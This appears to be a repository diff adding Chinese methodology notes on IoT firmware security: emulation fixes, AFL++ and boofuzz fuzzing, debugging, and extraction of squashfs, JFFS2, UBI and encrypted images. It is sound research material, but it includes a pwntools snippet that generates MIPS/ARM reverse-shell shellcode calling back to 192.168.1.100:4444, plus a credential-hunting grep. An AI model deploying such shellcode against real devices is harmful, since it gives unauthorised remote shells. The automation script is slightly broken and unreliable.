|
||||
| bind 错网卡 | inferNetwork 推错 | 手工改 `./scratch/${IID}/run.sh` 的 `-net nic` |
|
||||
| IPC 信号量错 | 内核版本不匹配 | 换 Firmadyne 自带的对应架构内核 |
|
||||
| 内核 panic | 架构识别错 | 重跑 getArch.sh,或手工指定 |
|
||||
| 没网卡 | 固件没自动 ifconfig | 进仿真 shell `ifconfig br0 192.168.0.1 up` |
|
||||
| 串口卡死 | tty 未分配 | `run.sh` 加 `-serial mon:stdio` |
|
||||
|
||||
## FAT(Firmware Analysis Toolkit)
|
||||
|
||||
Firmadyne 的封装,一行启动。
|
||||
|
||||
```bash
|
||||
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
|
||||
cd ~/tools/fat
|
||||
sudo pip3 install -r requirements.txt
|
||||
|
||||
# 编辑 fat.config 指向 Firmadyne 路径
|
||||
vim fat.config
|
||||
|
||||
# 跑
|
||||
sudo ./fat.py /path/to/firmware.bin
|
||||
```
|
||||
|
||||
FAT 自动做完 extractor → getArch → makeImage → inferNetwork → run,一条命令到仿真 shell。
|
||||
|
||||
适合快速验证;遇到坑还是回到 Firmadyne 手工流程。
|
||||
|
||||
## 仿真态做 AFL++ Fuzz
|
||||
|
||||
### 三种模式选哪个
|
||||
|
||||
| 模式 | 速度 | 适用 |
|
||||
|------|------|------|
|
||||
| 源码编译 (afl-clang-lto) | 最快 | 有源码或能自行编译 |
|
||||
| QEMU mode (-Q) | 慢 5-10 倍 | 仅有目标 binary |
|
||||
| Persistent mode | 比 QEMU 快 5-10 倍 | 需要简单 harness 改造 |
|
||||
|
||||
### AFL++ QEMU mode(对仿真二进制 fuzz)
|
||||
|
||||
```bash
|
||||
# 1. 准备 AFL++ qemu 后端(架构对应)
|
||||
cd ~/tools/aflpp/qemu_mode
|
||||
CPU_TARGET=mipsel ./build_qemu_support.sh
|
||||
|
||||
# 2. 准备种子语料
|
||||
mkdir -p in/
|
||||
echo "GET / HTTP/1.0" > in/seed1
|
||||
|
||||
# 3. 启动 fuzz
|
||||
afl-fuzz -Q -i in/ -o out/ -- \
|
||||
qemu-mipsel-static -L squashfs-root/ \
|
||||
squashfs-root/usr/sbin/httpd
|
||||
|
||||
# 4. 监控覆盖率
|
||||
afl-whatsup out/
|
||||
```
|
||||
|
||||
### Persistent mode(速度 10x)
|
||||
|
||||
```c
|
||||
// harness.c:把目标主循环改造为 input-driven
|
||||
#include <stdio.h>
|
||||
__AFL_FUZZ_INIT();
|
||||
|
||||
int main() {
|
||||
__AFL_INIT();
|
||||
unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;
|
||||
while (__AFL_LOOP(10000)) {
|
||||
int len = __AFL_FUZZ_TESTCASE_LEN;
|
||||
process_request(buf, len); // 目标函数
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
afl-clang-lto -o harness harness.c target.c
|
||||
afl-fuzz -i in/ -o out/ -- ./harness
|
||||
```
|
||||
|
||||
### afl-clang-lto 重编译(有源码)
|
||||
|
||||
```bash
|
||||
# 源码 in tree
|
||||
export CC=afl-clang-lto CXX=afl-clang-lto++
|
||||
export AFL_USE_ASAN=1
|
||||
make clean && make
|
||||
afl-fuzz -i in/ -o out/ -- ./target @@
|
||||
```
|
||||
|
||||
## 网络服务 fuzz:boofuzz
|
||||
|
||||
针对自定义二进制协议或仿真起来的服务。
|
||||
|
||||
```bash
|
||||
pip3 install boofuzz
|
||||
```
|
||||
|
||||
```python
|
||||
# fuzz_httpd.py
|
||||
from boofuzz import *
|
||||
|
||||
session = Session(target=Target(connection=TCPSocketConnection("192.168.0.1", 80)))
|
||||
|
||||
s_initialize(name="http_get")
|
||||
s_string("GET", fuzzable=False)
|
||||
s_delim(" ", fuzzable=False)
|
||||
s_string("/", fuzzable=True)
|
||||
s_string(" HTTP/1.0\r\n", fuzzable=False)
|
||||
s_string("Host: 192.168.0.1\r\n", fuzzable=True)
|
||||
s_string("\r\n", fuzzable=False)
|
||||
|
||||
session.connect(s_get("http_get"))
|
||||
session.fuzz()
|
||||
```
|
||||
|
||||
```bash
|
||||
sudo python3 fuzz_httpd.py
|
||||
# 配合 ./scratch/${IID}/run.sh 监控 console,看 crash
|
||||
```
|
||||
|
||||
## ARM / MIPS payload 速查
|
||||
|
||||
```bash
|
||||
# pwntools 生成 reverse shell
|
||||
python3 - <<'EOF'
|
||||
from pwn import *
|
||||
|
||||
# MIPS little-endian
|
||||
context.clear(arch='mips', endian='little', os='linux')
|
||||
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
|
||||
print(asm(sc).hex())
|
||||
|
||||
# ARM little-endian
|
||||
context.clear(arch='arm', endian='little', os='linux')
|
||||
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
|
||||
print(asm(sc).hex())
|
||||
EOF
|
||||
|
||||
# ROP gadget 搜索
|
||||
ropper --file ./httpd --search "system"
|
||||
ROPgadget --binary ./httpd --only "pop|ret"
|
||||
```
|
||||
|
||||
## 调试器接入
|
||||
|
||||
```bash
|
||||
# 用户态 + gdbserver 模式
|
||||
qemu-mipsel-static -g 1234 -L squashfs-root/ ./vuln_binary
|
||||
|
||||
# 另一终端
|
||||
gdb-multiarch ./vuln_binary
|
||||
(gdb) set architecture mips
|
||||
(gdb) target remote :1234
|
||||
(gdb) b *0x00401234
|
||||
(gdb) c
|
||||
|
||||
# 全系统仿真接 gdb
|
||||
# 改 ./scratch/${IID}/run.sh,qemu-system-mips 加参数:
|
||||
# -s -S
|
||||
# 然后
|
||||
gdb-multiarch
|
||||
(gdb) target remote :1234
|
||||
```
|
||||
|
||||
## 一键 fuzz 工作流
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
FW=$1
|
||||
IID=$2
|
||||
|
||||
# 1. 仿真起来
|
||||
~/tools/fat/fat.py "$FW" &
|
||||
sleep 30
|
||||
|
||||
# 2. 拿到 IP
|
||||
IP=$(grep "br0" ~/tools/firmadyne/scratch/$IID/qemu.final.serial.log | head -1)
|
||||
|
||||
# 3. 网络 fuzz
|
||||
python3 fuzz_httpd.py "$IP"
|
||||
|
||||
# 4. 同时 AFL++ 跑用户态
|
||||
afl-fuzz -Q -i in/ -o out/ -- \
|
||||
qemu-mipsel-static -L squashfs-root:REDACTED/usr/sbin/httpd &
|
||||
|
||||
wait
|
||||
```
|
||||
|
||||
## 引用
|
||||
|
||||
- Firmadyne: https://github.com/firmadyne/firmadyne
|
||||
- FAT: https://github.com/attify/firmware-analysis-toolkit
|
||||
- AFL++: https://github.com/AFLplusplus/AFLplusplus
|
||||
- boofuzz: https://github.com/jtpereyda/boofuzz
|
||||
- pwntools: https://github.com/Gallopsled/pwntools
|
||||
@@ -0,0 +1,285 @@
|
||||
# 固件提取方法论(OWASP FSTM Stage 4)
|
||||
|
||||
参考:https://scriptingxss.gitbook.io/firmware-security-testing-methodology
|
||||
|
||||
固件提取是整条链的瓶颈。binwalk 一把成功是运气,多数固件需要换工具组合拳。
|
||||
|
||||
## 工具对比
|
||||
|
||||
| 工具 | 语言 | 优势 | 劣势 |
|
||||
|------|------|------|------|
|
||||
| binwalk v3 | Rust | 速度快、并发提取、内存稳 | 插件生态比 v2 小 |
|
||||
| binwalk v2 | Python | 插件丰富、兼容性好 | 慢、易爆内存、维护暂停 |
|
||||
| unblob | Python + 多语言 handler | 格式覆盖全(300+)、可作为库 | 安装依赖多 |
|
||||
| jefferson | Python | 专攻 JFFS2 提取 | 单一用途 |
|
||||
| ubi_reader | Python | UBI / UBIFS 标准方案 | 大镜像内存占用高 |
|
||||
| 7z / unsquashfs / cramfsck | 原生 | 已知格式直接解 | 需要先确认偏移 |
|
||||
|
||||
选择策略:
|
||||
|
||||
```text
|
||||
未知固件 → binwalk v3 → 失败 → unblob → 仍失败 → 手工 hexdump + 熵分段
|
||||
已知 JFFS2 → jefferson 直接上
|
||||
已知 UBI → ubi_reader 直接上
|
||||
已知 SquashFS 且偏移已知 → dd + unsquashfs
|
||||
```
|
||||
|
||||
## 标准流程
|
||||
|
||||
### 1. 头部识别
|
||||
|
||||
```bash
|
||||
binwalk firmware.bin
|
||||
# 期望看到的关键字段:
|
||||
# uImage header / DECIMAL signature / TRX / CHK / SquashFS / JFFS2 / UBI
|
||||
|
||||
file firmware.bin
|
||||
hexdump -C firmware.bin | head -32
|
||||
```
|
||||
|
||||
vendor header 常见模式:
|
||||
|
||||
```text
|
||||
TRX: HDR0 (Asus / Linksys / Netgear 旧款)
|
||||
CHK: 2A 23 24 5E (TP-Link 部分)
|
||||
DLOB: 4D 5A 4F 41 (D-Link 加密头)
|
||||
uImage: 27 05 19 56
|
||||
```
|
||||
|
||||
### 2. 熵分析
|
||||
|
||||
```bash
|
||||
binwalk -E firmware.bin
|
||||
# 输出 firmware.bin.png
|
||||
```
|
||||
|
||||
判读:
|
||||
|
||||
| 熵区间 | 含义 |
|
||||
|--------|------|
|
||||
| 0.0 - 0.3 | 全 0 / 填充 / 未使用 flash 区 |
|
||||
| 0.3 - 0.7 | 代码段 / 字符串 / 未压缩数据 |
|
||||
| 0.7 - 0.95 | 压缩数据(gzip / lzma / xz / squashfs) |
|
||||
| 0.95 - 1.0 | 加密 / 高熵压缩(注意:高熵不一定加密) |
|
||||
|
||||
### 3. 递归提取
|
||||
|
||||
```bash
|
||||
# binwalk v3
|
||||
binwalk -e firmware.bin # 单层提取
|
||||
binwalk -Me firmware.bin # 递归提取(matryoshka)
|
||||
|
||||
# binwalk v2(旧版兼容)
|
||||
binwalk2 --run-as=root -eM firmware.bin
|
||||
|
||||
# unblob
|
||||
unblob -d out/ firmware.bin
|
||||
unblob --depth 10 -d out/ firmware.bin # 深度递归
|
||||
|
||||
# 输出结构(典型)
|
||||
# _firmware.bin.extracted/
|
||||
# ├── 0.uImage
|
||||
# ├── 80.gzip
|
||||
# └── 1A0000.squashfs
|
||||
# └── squashfs-root/
|
||||
# ├── bin/ etc/ usr/ lib/ sbin/ ...
|
||||
```
|
||||
|
||||
### 4. 文件系统分类处理
|
||||
|
||||
#### SquashFS
|
||||
|
||||
```bash
|
||||
unsquashfs -d rootfs/ rootfs.squashfs
|
||||
|
||||
# squashfs 用了非标 magic?指定偏移
|
||||
unsquashfs -d rootfs/ -offset 0x100 rootfs.squashfs
|
||||
|
||||
# LZMA 变种(老 Realtek SDK 常见)
|
||||
sasquatch rootfs.squashfs # squashfs-tools-ng 的兄弟项目
|
||||
```
|
||||
|
||||
非标 SquashFS 是路由器固件最常见的坑,原版 unsquashfs 解不开时换 sasquatch。
|
||||
|
||||
#### JFFS2
|
||||
|
||||
```bash
|
||||
jefferson rootfs.jffs2 -d rootfs/
|
||||
|
||||
# 大端 JFFS2
|
||||
jefferson -v -b rootfs.jffs2 -d rootfs/
|
||||
|
||||
# 失败兜底:手工 mount
|
||||
sudo modprobe mtdram total_size=32768 erase_size=128
|
||||
sudo modprobe mtdblock
|
||||
sudo dd if=rootfs.jffs2 of=/dev/mtdblock0
|
||||
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2
|
||||
```
|
||||
|
||||
#### UBI / UBIFS
|
||||
|
||||
```bash
|
||||
# 提取 UBI volume
|
||||
ubireader_extract_images rootfs.ubi -o out/
|
||||
|
||||
# 直接提文件
|
||||
ubireader_extract_files rootfs.ubi -o rootfs/
|
||||
|
||||
# UBIFS 单独存在
|
||||
ubireader_utils_info rootfs.ubifs
|
||||
```
|
||||
|
||||
UBI 镜像常见坑:peb_size / leb_size 不标准,需要手工指定:
|
||||
|
||||
```bash
|
||||
ubireader_extract_files -p 131072 -l 126976 rootfs.ubi -o rootfs/
|
||||
```
|
||||
|
||||
#### CramFS
|
||||
|
||||
```bash
|
||||
cramfsck -x rootfs/ rootfs.cramfs
|
||||
|
||||
# binwalk 自带的 sasquatch 也能解
|
||||
```
|
||||
|
||||
#### YAFFS2(Android 老系统 / 部分嵌入式)
|
||||
|
||||
```bash
|
||||
git clone https://github.com/ehlers/unyaffs2
|
||||
unyaffs2 rootfs.yaffs2 rootfs/
|
||||
```
|
||||
|
||||
#### 多 partition(A/B 分区固件)
|
||||
|
||||
```bash
|
||||
binwalk firmware.bin
|
||||
# 看到多个 SquashFS 偏移 0x100000 和 0x800000
|
||||
dd if=firmware.bin of=part_a.bin bs=1 skip=$((0x100000)) count=$((0x700000))
|
||||
dd if=firmware.bin of=part_b.bin bs=1 skip=$((0x800000))
|
||||
```
|
||||
|
||||
## 加密固件兜底
|
||||
|
||||
### 判断是否真加密
|
||||
|
||||
```bash
|
||||
binwalk -E firmware.bin
|
||||
# 全段熵 ~0.99 且无 magic → 大概率加密 / 全段压缩
|
||||
|
||||
# 看是否有 vendor wrapper
|
||||
xxd firmware.bin | head -8
|
||||
# 看是否能找到任何已知 magic 在偏移 0x100 / 0x200 / 0x1000
|
||||
binwalk --offset 256 firmware.bin
|
||||
binwalk --offset 4096 firmware.bin
|
||||
```
|
||||
|
||||
### 处理路径
|
||||
|
||||
```text
|
||||
1. 找官方升级固件,对比加密 vs 明文版本
|
||||
2. UART 拿到 U-Boot → 内存 dump 解密后的 image
|
||||
3. SPI flash 物理 dump → 包含 bootloader 段
|
||||
4. 逆 bootloader / 升级工具找密钥
|
||||
5. 利用已公开同芯片解密方案
|
||||
```
|
||||
|
||||
### 内存 dump(U-Boot)
|
||||
|
||||
```bash
|
||||
# 串口接入
|
||||
picocom -b 115200 /dev/ttyUSB0
|
||||
|
||||
# 启动时按键中断 → 进入 U-Boot
|
||||
# 加载固件到内存
|
||||
=> tftpboot 0x80000000 firmware.bin
|
||||
|
||||
# 等设备内部解密完,dump 解密后的镜像
|
||||
=> md.b 0x80000000 0x800000 # 看一眼内容
|
||||
=> save tftp 0x80000000 dump.bin 0x800000
|
||||
```
|
||||
|
||||
## 失败兜底套路
|
||||
|
||||
### hexdump 找 magic
|
||||
|
||||
```bash
|
||||
# 全文件搜常见 magic
|
||||
binwalk --signature firmware.bin
|
||||
|
||||
# 手工搜 SquashFS magic
|
||||
xxd firmware.bin | grep -E "(hsqs|sqsh)"
|
||||
|
||||
# 手工搜 gzip magic
|
||||
xxd firmware.bin | grep -E "1f 8b 08"
|
||||
```
|
||||
|
||||
### 按熵分段切片
|
||||
|
||||
```bash
|
||||
# 输出熵 CSV
|
||||
binwalk -E --save firmware.bin
|
||||
|
||||
# 手工切高熵段
|
||||
dd if=firmware.bin of=segment_1.bin bs=4096 skip=256 count=512
|
||||
file segment_1.bin
|
||||
binwalk segment_1.bin
|
||||
```
|
||||
|
||||
### 坏块处理
|
||||
|
||||
```bash
|
||||
# SPI flash dump 有 ECC 错误 → ddrescue
|
||||
ddrescue -d -r3 /dev/sdb dump.bin dump.log
|
||||
|
||||
# NAND flash dump 含 OOB → 剥离
|
||||
nanddump --noecc --omitoob -f clean.bin /dev/mtd0
|
||||
```
|
||||
|
||||
### 多次 dump 取多数票
|
||||
|
||||
```bash
|
||||
# SPI flash 物理读不稳,dump 3 次取交集
|
||||
flashrom -p ch341a_spi -r dump1.bin
|
||||
flashrom -p ch341a_spi -r dump2.bin
|
||||
flashrom -p ch341a_spi -r dump3.bin
|
||||
sha256sum dump*.bin
|
||||
# 不一致 → 重读 / 降速 / 换 clip
|
||||
```
|
||||
|
||||
## 提取后立即做的事
|
||||
|
||||
```bash
|
||||
cd squashfs-root/
|
||||
|
||||
# 1. 看根目录结构
|
||||
ls -la
|
||||
# 期望:bin/ etc/ lib/ sbin/ usr/ var/ proc/ ...
|
||||
|
||||
# 2. 找 init / 启动脚本
|
||||
cat etc/inittab 2>/dev/null
|
||||
cat etc/init.d/rcS 2>/dev/null
|
||||
ls etc/init.d/
|
||||
|
||||
# 3. 找硬编码凭据
|
||||
grep -rE "(password|passwd|admin|root):" etc/passwd etc/shadow 2>/dev/null
|
||||
|
||||
# 4. 找 Web 服务入口
|
||||
find . -name "httpd" -o -name "lighttpd" -o -name "mini_httpd" -o -name "uhttpd"
|
||||
find . -path "*cgi-bin*" -type f
|
||||
|
||||
# 5. 找 telnet / ssh / debug
|
||||
find . -name "telnetd" -o -name "dropbear" -o -name "sshd"
|
||||
|
||||
# 6. 看 banner / 版本
|
||||
cat etc/banner etc/issue etc/version 2>/dev/null
|
||||
strings bin/busybox | head -3
|
||||
```
|
||||
|
||||
## 引用
|
||||
|
||||
- OWASP FSTM Stage 4: https://scriptingxss.gitbook.io/firmware-security-testing-methodology
|
||||
- binwalk v3: https://github.com/ReFirmLabs/binwalk
|
||||
- unblob: https://github.com/onekey-sec/unblob
|
||||
- jefferson: https://github.com/sviehb/jefferson
|
||||
- ubi_reader: https://github.com/onekey-sec/ubi_reader
|
||||
Reference in New Issue
Block a user